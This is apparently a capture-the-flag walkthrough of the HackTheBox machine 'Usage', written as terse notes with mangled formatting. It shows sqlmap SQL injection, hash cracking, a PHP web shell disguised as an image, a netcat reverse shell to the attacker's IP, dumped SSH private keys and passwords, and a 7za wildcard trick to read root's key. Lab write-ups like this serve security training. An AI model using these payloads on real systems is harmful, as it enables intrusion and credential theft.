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Laravel admin panel SQL injection via search parameter. Malicious PNG for RCE via file upload. Wildcard file read on sudo binary for root flag.
January 15, 2025HackTheBox
#SQLi#Laravel#File Upload#Wildcard
nmap
sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 17:21 EST
Nmap scan report for 10.10.11.18
Host is up (0.023s latency).
Not shown: 64589 closed tcp ports (reset), 944 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/15%OT=22%CT=1%CU=44552%PV=Y%DS=2%DC=T%G=Y%TM=6788
OS:3519%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 23.68 ms 10.10.14.1
2 23.75 ms 10.10.11.18
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.31 seconds
80/tcp open http
sh
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:sql injection


sqlmap
sh
sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 --dbs
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blogsh
sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 -D usage_blog --tables
15
[17:59:52] [INFO] retrieved: admin_menu
[18:00:01] [INFO] retrieved: admin_operation_log
[18:00:15] [INFO] retrieved: admin_permissions
[18:00:26] [INFO] retrieved: admin_role_menu
[18:00:36] [INFO] retrieved: admin_role_permissions
[18:00:48] [INFO] retrieved: admin_role_users
[18:00:55] [INFO] retrieved: admin_roles
[18:00:58] [INFO] retrieved: admin_user_permissions
[18:01:14] [INFO] retrieved: admin_users
[18:01:17] [INFO] retrieved: blog
[18:01:21] [INFO] retrieved: failed_jobs
[18:01:30] [INFO] retrieved: migrations
[18:01:38] [INFO] retrieved: password_reset_tokens
[18:01:57] [INFO] retrieved: personal_access_tokens
[18:02:17] [INFO] retrieved: users
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+sh
sqlmap -r sqli.txt --batch --random-agent -p email --level=5 --risk=3 -D usage_blog -T admin_users --dump
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+hashcat
sh
hashcat -m 3200 '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' /usr/share/wordlists/rockyou.txt
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1:whatever1
hashcat 2
sh
hashcat -m 3200 '$2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa' /usr/share/wordlists/rockyou.txt
$2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa:xanderraj:xander

upload vulnerability
sh
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif 

sh
<?php passthru('nc 10.10.14.6 1234 -e /bin/bash'); ?>
Laravel-admin 1.8.18
- https://github.com/advisories/GHSA-g857-47pm-3r32

CVE-2023-24249
- https://flyd.uk/post/cve-2023-24249/
sh
mv shell.gif shell.pngshell.png
php
<?php system($_GET[0]); ?>


sh
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.18] 44250
whoami
dashsh
python3 -c 'import pty; pty.spawn("/bin/bash")'user.txt
sh
dash@usage:~$ cat user.txt
cat user.txt
8436d4a9...sh
dash@usage:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----sh
chmod 600 dash_id_rsapriv esc
sh
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:2812 0.0.0.0:* LISTEN 5911/monit
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1300/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN - sh
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
╔══════════╣ Installed Compilers
ii g++ 4:11.2.0-1ubuntu1 amd64 GNU C++ compiler
ii g++-11 11.4.0-1ubuntu1~22.04 amd64 GNU C++ compiler
ii gcc 4:11.2.0-1ubuntu1 amd64 GNU C compiler
ii gcc-11 11.4.0-1ubuntu1~22.04 amd64 GNU C compiler
ii rpcsvc-proto 1.4.2-0ubuntu6 amd64 RPC protocol compiler and definitions
/usr/bin/gcchidden file password
sh
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert3nc0d3d_pa$$w0rd
sh
dash@usage:~$ su xander
Password: 3nc0d3d_pa$$w0rd
xander@usage:/home/dash$ whoami
xandersudo (7za)
sh
xander@usage:~/.config$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management- https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html
- analyzing it it will excute with option 1 the backup with
/usr/bio/7zaneed to cd to/var/www/html
sh
strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.sh
cd /var/www/html
touch @root.txt
ln -s /root/.ssh/id_rsa root.txtsh
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54837203
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
2984 folders, 17964 files, 113882165 bytes (109 MiB)
Updating archive: /var/backups/project.zip
Items to compress: 20948
Files read from disk: 17964
Archive size: 54837203 bytes (53 MiB)
Scan WARNINGS for files and folders:
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7- we get the private ssh keys
sh
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----sh
ssh -i root_id_rsa root@10.10.11.18sh
root@usage:~# whoami
rootroot.txt
sh
root@usage:~# cat root.txt
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